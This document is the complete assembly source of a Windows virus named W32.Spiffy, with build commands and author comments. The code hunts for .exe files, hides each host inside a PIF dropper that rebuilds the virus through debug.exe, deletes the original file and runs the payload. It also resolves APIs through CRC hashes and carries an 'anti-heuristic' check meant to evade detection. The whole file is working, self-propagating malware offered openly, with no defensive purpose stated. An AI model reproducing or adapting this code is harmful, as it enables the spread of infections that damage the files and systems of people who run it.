Win32.Spiffy - by roy g biv || Project Folder
comment ;)
W32.Spiffy by roy g biv

some of its features:
- parasitic direct action infector of exe
- constructs pif dropper that holds the original file
- uses CRCs instead of API names
- uses SEH walker to find kernel address (no hard-coded addresses)
---

  optimisation tip: Windows appends ".dll" automatically, so this works:
        push "cfs"
        push esp
        call LoadLibraryA
---

to build this thing:
tasm
----
tasm32 /ml /m3 spiffy
tlink32 /B:400000 /x spiffy,,,import32

Virus is not self-modifying, so no need to alter section attributes
---

We're in the middle of a phase transition:
a butterfly flapping its wings at
just the right moment could
cause a storm to happen.
-I'm trying to understand-
I'm at a moment in my life-
I don't know where to flap my wings.
(Danny Hillis)

(;

.386
.model  flat

extern  CreateFileA:proc
extern  WriteFile:proc
extern  CloseHandle:proc
extern  MessageBoxA:proc
extern  ExitProcess:proc

.data
include spiffy.inc

dropper         label   near
        mov     edx, krncrc_count
        mov     ebx, offset krnnames
        mov     edi, offset krncrcbegin
        call    create_crcs
        xor     esi, esi
        push    esi
        push    esi
        push    CREATE_ALWAYS
        push    esi
        push    esi
        push    GENERIC_WRITE
        push    offset dropname
        call    CreateFileA
        push    eax
        push    esi
        push    esp
        push    (offset spiffy_codeend - offset spiffy_inf + expsize + 2ffh) and not 0ffh
        push    offset header
        push    eax
        call    WriteFile
        call    CloseHandle
        push    esi
        push    offset txttitle
        push    offset txtbody
        push    esi
        call    MessageBoxA
        push    esi
        call    ExitProcess

;-----------------------------------------------------------------------------
;everything before this point is dropper code
;-----------------------------------------------------------------------------
expsize equ     0d4h
header          db      'M', 'Z'                ;00
                db      "gdi32.dll", 0          ;02    align 4, filler (overload for dll name and import lookup table RVA)
                db      'P', 'E', 0, 0          ;0c 00 signature (overload for date/time stamp)
                dw      14ch                    ;10 04 machine (overload for forwarder chain)
                dw      1                       ;12 06 number of sections (overload for forwarder chain)
                dd      2                       ;14 08 date/time stamp (overload for dll name RVA)
                dd      102ch                   ;18 0c pointer to symbol table (overload for import address table RVA)
                dd      0                       ;1c 10 number of symbols
                dw      88h                     ;20 14 size of optional header
                dw      30fh                    ;22 16 characteristics
                dw      10bh                    ;24 18 magic
                db      0                       ;26 1a major linker
                db      0                       ;27 1b minor linker
                dd      0                       ;28 1c size of code (overload for import table terminator)
                dd      56h                     ;2c 20 size of init data (overload for import name table RVA)
                dd      0                       ;30 24 size of uninit data (overload for import name table terminator)
                dd      expsize + 1000h         ;34 28 entry point
                dd      0                       ;38 2c base of code
                dd      0ch                     ;3c 30 base of data (overload for lfanew)
                dd      400000h                 ;40 34 image base
                dd      1000h                   ;44 38 section align
                dd      200h                    ;48 3c file align
                db      1, 0                    ;4c 40 major os
                dw      0                       ;4e 42 minor os
                dw      0                       ;50 44 major image
                dw      0                       ;52 46 minor image
                dw      4                       ;54 48 major subsys
                dw      0                       ;56 4a minor subsys (overload for import name table)
                db      "Arc", 0                ;58 4c reserved (overload for import name table)
                dd      (spiffy_codeend - offset spiffy_inf + expsize + 1fffh) and not 0fffh
                                                ;5c 50 size of image
                dd      expsize                 ;60 54 size of headers
                dd      0                       ;64 58 checksum
                dw      2                       ;68 5c subsystem
                dw      0                       ;6a 5e dll characteristics
                dd      1                       ;6c 60 size of stack reserve
                dd      1                       ;70 64 size of stack commit
                dd      1                       ;74 68 size of heap reserve
                dd      1                       ;78 6c size of heap commit
                dd      0                       ;7c 70 loader flags
                dd      2                       ;80 74 number of rva and sizes (ignored by Windows 9x/Me)
                dq      0                       ;84 78 export
                dd      1008h                   ;8c 80 import
                dd      0                       ;90 84 import
                dq      0                       ;94 88 resource
                dq      0                       ;9c 90 exception
                dq      0                       ;a4 98 certificate
                dq      0                       ;ac a0 base reloc (overload for section name)
                dd      0                       ;b4 a8 debug (overload for virtual size)
                dd      1000h                   ;b8 ac debug (overload for virtual address)
                dd      (spiffy_codeend - offset spiffy_inf + expsize + 1ffh) and not 1ffh
                                                ;bc b0 architecture (overload for file size)
                dd      1                       ;c0 b4 architecture (overload for file offset)
                dd      0                       ;c4 b8 global data (overload for pointer to relocs)
                dd      0                       ;c8 bc global data (overload for pointer to line numbers)
                dd      0                       ;cc c0 tls (overload for reloc table and line numbers)
                dd      0e0000000h              ;d0 c4 tls (overload for section characteristics)
                                                ;d4
spiffy_inf      label   near
        xor     esi, esi
        lods    dword ptr fs:[esi]
        inc     eax

seh_loop        label   near
        dec     eax
        xchg    esi, eax
        lods    dword ptr [esi]
        inc     eax
        jne     seh_loop
        lods    dword ptr [esi]
        inc     eax
        xchg    ebx, eax

find_mzhdr      label   near

;-----------------------------------------------------------------------------
;do not use hard-coded kernel address values because it is not portable
;Microsoft used all different values for 95, 98, NT, 2000, Me, XP
;they will maybe change again for every new release
;-----------------------------------------------------------------------------

        dec     ebx                             ;sub 64kb
        xor     bx, bx                          ;64kb align
        cmp     word ptr [ebx], 'ZM'            ;Windows does not check 'MZ'
        jne     find_mzhdr
        mov     esi, dword ptr [ebx + mzhdr.mzlfanew]
        add     esi, ebx
        lods    dword ptr [esi]                 ;SEH protects against bad lfanew value
        add     eax, -'EP'                      ;anti-heuristic test filetype ;) and clear EAX
        jne     find_mzhdr
        call    skip_krncrc
;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------

krncrcbegin     label   near                    ;place < 80h bytes from call for smaller code
        dd      (krncrc_count + 1) dup (0)
krncrcend       label   near

skip_krncrc     label   near
        pop     edi

;-----------------------------------------------------------------------------
;parse export table
;-----------------------------------------------------------------------------

        mov     esi, dword ptr [esi + pehdr.peexport.dirrva - pehdr.pecoff]
        lea     esi, dword ptr [ebx + esi + peexp.expadrrva]
        lods    dword ptr [esi]                 ;Export Address Table RVA
        lea     edx, dword ptr [ebx + eax]
        lods    dword ptr [esi]                 ;Name Pointer Table RVA
        lea     ecx, dword ptr [ebx + eax]
        lods    dword ptr [esi]                 ;Ordinal Table RVA
        lea     ebp, dword ptr [ebx + eax]
        mov     esi, ecx

push_export     label   near
        push    ecx

get_export      label   near
        lods    dword ptr [esi]
        push    ebx
        add     ebx, eax                        ;Name Pointer VA
        or      eax, -1

crc_outer       label   near
        xor     al, byte ptr [ebx]
        push    8
        pop     ecx

crc_inner       label   near
        add     eax, eax
        jnb     crc_skip
        xor     eax, 4c11db7h                   ;use generator polymonial (see IEEE 802)

crc_skip        label   near
        loop    crc_inner
        sub     cl, byte ptr [ebx]              ;carry set if not zero
        inc     ebx                             ;carry not altered by inc
        jb      crc_outer
        pop     ebx
        cmp     dword ptr [edi], eax
        jne     get_export

;-----------------------------------------------------------------------------
;exports must be sorted alphabetically, otherwise GetProcAddress() would fail
;this allows to push addresses onto the stack, and the order is known
;-----------------------------------------------------------------------------

        pop     ecx
        mov     eax, esi
        sub     eax, ecx                        ;Name Pointer Table VA
        shr     eax, 1
        movzx   eax, word ptr [ebp + eax - 2]   ;get export ordinal
        mov     eax, dword ptr [eax * 4 + edx]  ;get export RVA
        add     eax, ebx
        push    eax
        scas    dword ptr [edi]
        cmp     dword ptr [edi], 0
        jne     push_export
        enter   (size WIN32_FIND_DATAA + 3) and -4, 0
        push    esp
        call    get_name
        call    dword ptr [ebp + krncrcstk.kFindFirstFileA]
        xor     esi, esi
        inc     eax
        je      find_infect
        push    esi
        push    esi
        push    OPEN_EXISTING
        push    esi
        push    FILE_SHARE_READ
        push    GENERIC_READ
        lea     eax, dword ptr [esp + 18h + WIN32_FIND_DATAA.cFileName]
        push    eax
        call    dword ptr [ebp + krncrcstk.kCreateFileA]
        push    eax                             ;CloseHandle
        push    FILE_END
        push    esi
        push    -4
        push    eax
        xchg    ebx, eax
        call    dword ptr [ebp + krncrcstk.kSetFilePointer]
        push    eax
        mov     eax, esp
        push    esi
        push    esp
        push    4
        push    eax
        push    ebx
        call    dword ptr [ebp + krncrcstk.kReadFile]
        pop     edi
        push    edi
        push    esi
        call    dword ptr [ebp + krncrcstk.kGlobalAlloc]
        push    SW_SHOWDEFAULT                  ;WinExec
        push    eax                             ;WinExec
        push    esi                             ;CreateFileA
        push    esi                             ;CreateFileA
        push    CREATE_ALWAYS                   ;CreateFileA
        push    esi                             ;CreateFileA
        push    esi                             ;CreateFileA
        push    GENERIC_WRITE                   ;CreateFileA
        push    eax                             ;CreateFileA
        push    esi                             ;ReadFile
        push    esp                             ;ReadFile
        push    edi                             ;ReadFile
        push    eax                             ;ReadFile
        push    ebx                             ;ReadFile
        push    FILE_CURRENT                    ;SetFilePointer
        push    esi                             ;SetFilePointer
        neg     edi
        sub     edi, 4
        push    edi                             ;SetFilePointer
        push    ebx                             ;SetFilePointer
        call    dword ptr [ebp + krncrcstk.kSetFilePointer]
        call    dword ptr [ebp + krncrcstk.kReadFile]
        call    dword ptr [ebp + krncrcstk.kCreateFileA]
        push    eax                             ;CloseHandle
        push    FILE_CURRENT
        push    esi
        push    edi
        push    ebx
        call    dword ptr [ebp + krncrcstk.kSetFilePointer]
        push    eax
        mov     eax, esp
        push    esi
        push    esp
        push    4
        push    eax
        push    ebx
        call    dword ptr [ebp + krncrcstk.kReadFile]
        pop     edi
        push    edi
        push    esi
        call    dword ptr [ebp + krncrcstk.kGlobalAlloc]
        pop     ecx
        push    ecx                             ;CloseHandle
        push    esi                             ;WriteFile
        push    esp                             ;WriteFile
        push    edi                             ;WriteFile
        push    eax                             ;WriteFile
        push    ecx                             ;WriteFile
        push    esi                             ;ReadFile
        push    esp                             ;ReadFile
        push    edi                             ;ReadFile
        push    eax                             ;ReadFile
        push    ebx                             ;ReadFile
        push    FILE_CURRENT                    ;SetFilePointer
        push    esi                             ;SetFilePointer
        neg     edi
        sub     edi, 4
        push    edi                             ;SetFilePointer
        push    ebx                             ;SetFilePointer
        call    dword ptr [ebp + krncrcstk.kSetFilePointer]
        call    dword ptr [ebp + krncrcstk.kReadFile]
        call    dword ptr [ebp + krncrcstk.kWriteFile]
        call    dword ptr [ebp + krncrcstk.kCloseHandle]
        call    dword ptr [ebp + krncrcstk.kWinExec]
        call    dword ptr [ebp + krncrcstk.kCloseHandle]

find_infect     label   near
        push    esp
        call    skip_allfiles
        db      "*.exe", 0

skip_allfiles   label   near
        call    dword ptr [ebp + krncrcstk.kFindFirstFileA]
        xchg    ebx, eax
        jmp     get_tick
        db      "sPIFfy - roy g biv"            ;looking good!

find_next       label   near
        push    esp
        push    ebx
        call    dword ptr [ebp + krncrcstk.kFindNextFileA]

get_tick        label   near
        call    dword ptr [ebp + krncrcstk.kGetTickCount]
        and     al, 1
        jne     find_next
        push    esi
        push    esi
        push    OPEN_EXISTING
        push    esi
        push    FILE_SHARE_READ
        push    GENERIC_READ
        call    skip_drop
        DROP_NAME, 0

skip_drop       label   near
        call    dword ptr [ebp + krncrcstk.kCreateFileA]
        xchg    ebx, eax
        push    (SELF_SIZE * 3) + PIF_SIZE
        push    GMEM_ZEROINIT
        call    dword ptr [ebp + krncrcstk.kGlobalAlloc]
        push    eax
        mov     dword ptr [eax + 24h], "moc%"
        mov     dword ptr [eax + 28h], "ceps"
        mov     byte ptr [eax + 2ch], "%"       ;application name
        mov     byte ptr [eax + 63h], 10h       ;close window on exit
        inc     ah
        mov     word ptr [eax - 11h], 280h      ;maximum conventional memory
        mov     dword ptr [eax - 1], 100002h    ;allow background execution, run minimised
        push    12h
        pop     ecx
        call    skip_debug
        db      "/c debugnul"            ;commandline parameters

skip_debug      label   near
        pop     esi
        lea     edi, dword ptr [eax + 17h]
        rep     movs byte ptr [edi], byte ptr [esi]
        mov     cl, 36h
        call    skip_pifex
        db      "MICROSOFT PIFEX", 0            ;identifying string for Windows 2.x+ PIFs
        dw      187h                            ;offset of next block in linked list
        dw      0                               ;offset of data in this block
        dw      171h                            ;size of data in this block
        db      "WINDOWS 386 3.0", 0            ;identifying string for Windows 3.x PIFs
                                                ;required to run file in minimised window instead of full-screen
                                                ;Windows 9x will automatically upgrade file on execute
        dw      0ffffh                          ;end of list
        dw      0efh                            ;offset of data for Windows 3.x section
        dw      68h                             ;size of data in Windows 3.x section
        db      0dh, 0ah, 0dh, 0ah              ;two blank lines required for debug.exe
        db      "e100", 0dh, 0ah                ;begin debug data

skip_pifex      label   near
        pop     esi
        add     edi, 48h
        rep     movs byte ptr [edi], byte ptr [esi]
        xor     esi, esi
        jmp     read_self
        db      "05/06/07"

copy_self       label   near
        mov     al, byte ptr [edi]
        call    itoa
        mov     al, " "
        stos    byte ptr [edi]

read_self       label   near
        push    esi
        push    esp
        push    1
        push    edi
        push    ebx
        call    dword ptr [ebp + krncrcstk.kReadFile]
        cmp     dword ptr [esp - 4], esi
        jne     copy_self
        mov     eax, ("cr" shl 10h) + 0a0dh
        stos    dword ptr [edi]
        mov     byte ptr [edi], "x"
        inc     edi
        stos    word ptr [edi]
        mov     al, SELF_SIZE shr 8
        call    itoa
        mov     cl, 96h
        call    skip_exec
        db      "00", 0dh, 0ah                  ;256-bytes aligned length
        db      "n"
        DROP_NAME, 0dh, 0ah
        db      "w", 0dh, 0ah
        db      "e84", 0dh, 0ah

        ;how to run files created in debug
        ;MOV     AX, WORD PTR DS:[002C]         ;get environment segment
        ;DEC     AX
        ;MOV     ES, AX                         ;point to MCB
        ;MOV     AX, WORD PTR ES:[0001]         ;get owner segment (debug.exe)
        ;MOV     BX, DS
        ;SUB     BX, AX
        ;INC     BH                             ;add 4kb to cover us
        ;MOV     ES, AX                         ;calculate new size to reserve
        ;MOV     AH, 4A
        ;INT     21                             ;shrink our memory block
        ;PUSH    DS
        ;POP     ES
        ;MOV     AX, 4B00
        ;MOV     BX, 00AB                       ;point to exec block (required for exec via .pif)
        ;MOV     WORD PTR DS:[BX + 04], DS      ;store command-line segment
        ;MOV     DL, 81                         ;point to filename
        ;INT     21                             ;run!
        ;INT     03                             ;return to debug for exit
        ;DW      0000                           ;environment segment
        ;DW      0004                           ;pointer to command-line (must be empty or valid)

        db      "0 A1 2C 0 48 8E C0 26 A1 1 0 8C DB 29 C3 FE C7 8E C0 B4 4A CD 21 1E 7 B8 0 4B BB AB 0 8C 5F 4 B2 81 CD 21 CC 0 0 4 0", 0dh, 0ah
        db      "g=ds:85", 0dh, 0ah
        db      "q", 0dh, 0ah

skip_exec       label   near
        pop     esi
        rep     movs byte ptr [edi], byte ptr [esi]
        xor     esi, esi
        push    esi
        push    esi
        push    CREATE_ALWAYS
        push    esi
        push    FILE_SHARE_READ
        push    GENERIC_WRITE
        call    get_name
        call    dword ptr [ebp + krncrcstk.kCreateFileA]
        pop     ecx
        push    esi
        push    esp
        sub     edi, ecx
        push    edi
        push    ecx
        push    eax
        xchg    ebx, eax
        call    dword ptr [ebp + krncrcstk.kWriteFile]
        push    esi
        push    esi
        push    OPEN_EXISTING
        push    esi
        push    esi
        push    GENERIC_READ
        lea     eax, dword ptr [esp + 18h + WIN32_FIND_DATAA.cFileName]
        push    eax
        call    dword ptr [ebp + krncrcstk.kCreateFileA]
        push    eax
        xchg    edi, eax

copy_host       label   near
        mov     eax, esp
        push    esi
        push    esp
        push    1
        push    eax
        push    edi
        call    dword ptr [ebp + krncrcstk.kReadFile]
        mov     eax, esp
        mov     ecx, dword ptr [esp - 4]
        push    esi
        push    esp
        push    ecx
        push    eax
        push    ebx
        call    dword ptr [ebp + krncrcstk.kWriteFile]
        cmp     dword ptr [esp - 4], esi
        jne     copy_host
        push    esi
        push    edi
        call    dword ptr [ebp + krncrcstk.kGetFileSize]
        push    eax
        mov     eax, esp
        push    esi
        push    esp
        push    4
        push    eax
        push    ebx
        call    dword ptr [ebp + krncrcstk.kWriteFile]
        push    edi
        call    dword ptr [ebp + krncrcstk.kCloseHandle]
        lea     edi, dword ptr [esp + 8 + WIN32_FIND_DATAA.cFileName]
        push    edi
        call    dword ptr [ebp + krncrcstk.klstrlenA]
        inc     eax
        push    eax
        push    esi
        push    esp
        push    eax
        push    edi
        push    ebx
        call    dword ptr [ebp + krncrcstk.kWriteFile]
        mov     eax, esp
        push    esi
        push    esp
        push    4
        push    eax
        push    ebx
        call    dword ptr [ebp + krncrcstk.kWriteFile]
        push    edi
        call    dword ptr [ebp + krncrcstk.kDeleteFileA]

close_exit      label   near
        call    dword ptr [ebp + krncrcstk.kExitProcess]

get_name        proc    near
        pop     eax
        call    skip_name
        db      "s.pif", 0

skip_name       label   near
        jmp     eax
get_name        endp

itoa            proc    near
        xor     ecx, ecx
        aam     10h
        test    ah, ah
        je      byte_only
        inc     ecx
        cmp     al, 0ah
        sbb     al, 69h
        das
        mov     byte ptr [edi + 1], al
        xchg    ah, al

byte_only       label   near
        cmp     al, 0ah
        sbb     al, 69h
        das
        stos    byte ptr [edi]
        add     edi, ecx
        ret
itoa            endp

spiffy_codeend  label   near
padding         db      2ffh dup (0)            ;padding

create_crcs     proc    near
        or      eax, -1

create_outer    label   near
        xor     al, byte ptr [ebx]
        push    8
        pop     ecx

create_inner    label   near
        add     eax, eax
        jnb     create_skip
        xor     eax, 4c11db7h                   ;use generator polymonial (see IEEE 802)

create_skip     label   near
        loop    create_inner
        sub     cl, byte ptr [ebx]              ;carry set if not zero
        inc     ebx                             ;carry not altered by inc
        jb      create_outer
        stos    dword ptr [edi]
        dec     edx
        jne     create_crcs
        ret
create_crcs     endp

krnnames        db      "CloseHandle"   , 0
                db      "CreateFileA"   , 0
                db      "DeleteFileA"   , 0
                db      "ExitProcess"   , 0
                db      "FindFirstFileA", 0
                db      "FindNextFileA" , 0
                db      "GetFileSize"   , 0
                db      "GetTickCount"  , 0
                db      "GlobalAlloc"   , 0
                db      "ReadFile"      , 0
                db      "SetFilePointer", 0
                db      "WinExec"       , 0
                db      "WriteFile"     , 0
                db      "lstrlenA"      , 0

dropname        DROP_NAME, 0

txttitle        db      "sPIFfy", 0
txtbody         db      "now run "
                DROP_NAME, "...", 0

.code
        nop

end     dropper